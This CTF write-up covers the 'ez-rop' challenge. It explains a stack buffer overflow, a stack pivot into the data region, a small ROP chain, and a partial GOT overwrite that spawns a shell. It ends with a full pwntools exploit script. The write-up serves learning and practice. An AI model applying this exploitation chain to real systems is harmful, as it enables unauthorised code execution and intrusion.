CyberSpace CTF 2024 - ez-rop

2024-09-15T00:00:00+00:00

0x00. Introduction

[*] '/home/user/ez-rop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

0x01. Vulnerability

char *sub_401192()
{
  char s[96]; // [rsp+0h] [rbp-60h] BYREF

  return fgets(s, 116, stdin);
}

A simple BOF occurs, but since 0x60 bytes are used to fill s, there’s almost no stack that can be constructed after return.

0x02. Exploit

Fake Stack

Since we can’t do anything even with immediate rip control using the vulnerability, I looked for an area where payloads could be constructed.

gef➤  vmmap
[ Legend:  Code | Stack | Heap ]
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /home/user/chall
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /home/user/chall
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /home/user/chall
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /home/user/chall
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /home/user/chall
...

Since PIE is disabled, the DATA region address 0x404000 is fixed. As sub_401192() executes leave; ret when terminating, putting roughly 0x404800 (around the middle) in sfp allows manipulating rsp to that value.

Now we need to pass rsp as an argument to the read function, but there were no usable gadgets. Instead, I could pass the value by utilizing the fact that rdi’s value is set through rax and rbp during the fgets input process.

.text:0000000000401192                 push    rbp
.text:0000000000401193                 mov     rbp, rsp
.text:0000000000401196                 sub     rsp, 60h
.text:000000000040119A                 mov     rdx, cs:stdin   ; stream
.text:00000000004011A1                 lea     rax, [rbp-60h]
.text:00000000004011A5                 mov     esi, 74h ; 't'  ; n
.text:00000000004011AA                 mov     rdi, rax        ; s
.text:00000000004011AD                 call    _fgets
.text:00000000004011B2                 xor     rdx, rdx
.text:00000000004011B5                 nop
.text:00000000004011B6                 leave
.text:00000000004011B7                 retn

So I wrote the payload as follows.

    # fgets(0x4047a0, 0x74, stdin)
    payload = b"A" * 0x60
    payload += p64(0x404800)                # rbp = 0x404800
    payload += p64(0x401196)                # middle of fgets
    payload += b"\x00\x00\x00"              # dummy
    
    s.send(payload)
    sleep(0.5)

Return Oriented Programming

Now we need to spawn shell using the payload. While there weren’t many pop gadgets, IDA revealed most of gadgets removed and the challenge intended solution using these four gadgets.

# mov rdi, rsi gadget
.text:0000000000401156                 push    rbp
.text:0000000000401157                 mov     rbp, rsp
.text:000000000040115A                 mov     rdi, rsi
.text:000000000040115D                 retn

# pop rbp gadget
.text:000000000040115F                 pop     rbp
.text:0000000000401160                 retn

# pop rsi gadget
.text:0000000000401161                 push    rbp
.text:0000000000401162                 mov     rbp, rsp
.text:0000000000401165                 pop     rsi
.text:0000000000401166                 retn

# read(0, buf, 8) gadget
.text:000000000040116A                 push    rbp
.text:000000000040116B                 mov     rbp, rsp
.text:000000000040116E                 sub     rsp, 10h
.text:0000000000401172                 lea     rax, [rbp-8h]
.text:0000000000401176                 mov     edx, 8          ; nbytes
.text:000000000040117B                 mov     rsi, rax        ; buf
.text:000000000040117E                 mov     edi, 0          ; fd
.text:0000000000401183                 call    _read
.text:0000000000401188                 xor     rdx, rdx
.text:000000000040118B                 xor     rax, rax
.text:000000000040118E                 retn

Unusually, there was a read gadget. Similar to fgets, the value of rbp minus 8 is passed to rsi through rax. Since rbp can be manipulated using the pop rbp gadget, we just need to set the rbp value by adding 8 to the input address, considering the lea rax, [rbp-8h] instruction.

To avoid changing the manipulated rsp value, I configured the payload to jump directly to the middle address 0x401172 of the read gadget.

    # read(0, alarm.got, 8) ; alarm.got = 0x404008
    # rdi = 0, rsi = alarm.got, rdx = 8
    payload = p64(elf.got['alarm'] + 8)     # alarm.got + 8
    payload += p64(0x401172)                # middle of read

I decided to write a value to alarm’s GOT because there are no printing functions to leak libc, so I needed to find the function closest to execve for partial overwrite. “Closest” means the smallest offset difference, and overwriting the GOT of a close function maximizes exploitation probability under ASLR.

After this, we just need to write "/bin/sh\x00" to any memory and use gadgets to pass it as execve function arguments.

    # read(0, 0x404900, 8) ; &0x404900 = "/bin/sh\x00"
    pop_rbp = 0x401168
    payload += p64(pop_rbp)
    payload += p64(0x404908)                # 0x404900 + 8
    payload += p64(0x401172)
    
    # execve("/bin/sh", 0, 0)
    # rdi = 0x404900, rsi = 0, rdx = 0
    mov_rdi_rsi = 0x40115a
    pop_rsi = 0x401165
    payload += p64(mov_rdi_rsi)
    payload += p64(pop_rsi)
    payload += p64(0)
    payload += p64(elf.plt['alarm'])

    payload += b"B" * (0x60 - len(payload))
    payload += p64(0x4047a0)
    payload += p64(0x401190)
    payload += b"\x00\x00\x00"
    log.info(f"payload len : {hex(len(payload))}")

    s.send(payload)
    sleep(0.5)

Come to think of it, I could just input sh; to the last 3 bytes at the point of fgets and pass the address.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc-2.31.so"
CONTAINER = "44c6741a4dc0"
bp = {
    'main' : 0x4011B8,
    'leave_after_fgets' : 0x4011b6,
    'ret_after_fgets' : 0x4011B7,
}

gs = f'''
b *{bp["leave_after_fgets"]}
b *{0x401183}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote("0.0.0.0", port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    # fgets(0x4047a0, 0x74, stdin)
    payload = b"A" * 0x60
    payload += p64(0x404800)                # rbp = 0x404800
    payload += p64(0x401196)                # middle of fgets
    payload += b"\x00\x00\x00"              # dummy
    
    s.send(payload)
    sleep(0.5)

    # read(0, alarm.got, 8) ; alarm.got = 0x404008
    # rdi = 0, rsi = alarm.got, rdx = 8
    payload = p64(elf.got['alarm'] + 8)     # alarm.got + 8
    payload += p64(0x401172)                # middle of read

    # read(0, 0x404900, 8) ; &0x404900 = "/bin/sh\x00"
    pop_rbp = 0x401168
    payload += p64(pop_rbp)
    payload += p64(0x404908)                # 0x404900 + 8
    payload += p64(0x401172)
    
    # execve("/bin/sh", 0, 0)
    # rdi = 0x404900, rsi = 0, rdx = 0
    mov_rdi_rsi = 0x40115a
    pop_rsi = 0x401165
    payload += p64(mov_rdi_rsi)
    payload += p64(pop_rsi)
    payload += p64(0)
    payload += p64(elf.plt['alarm'])

    payload += b"B" * (0x60 - len(payload))
    payload += p64(0x4047a0)
    payload += p64(0x401190)
    payload += b"\x00\x00\x00"
    log.info(f"payload len : {hex(len(payload))}")

    s.send(payload)
    sleep(0.5)

    # read(0, alarm.got, 8)
    payload = b"\x80\xb0"
    # payload = b"\x80\x50"
    s.send(payload)
    sleep(0.5)

    # read(0, 0x404900, 8)
    payload = b"/bin/sh\x00"
    s.send(payload)
    sleep(0.5)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)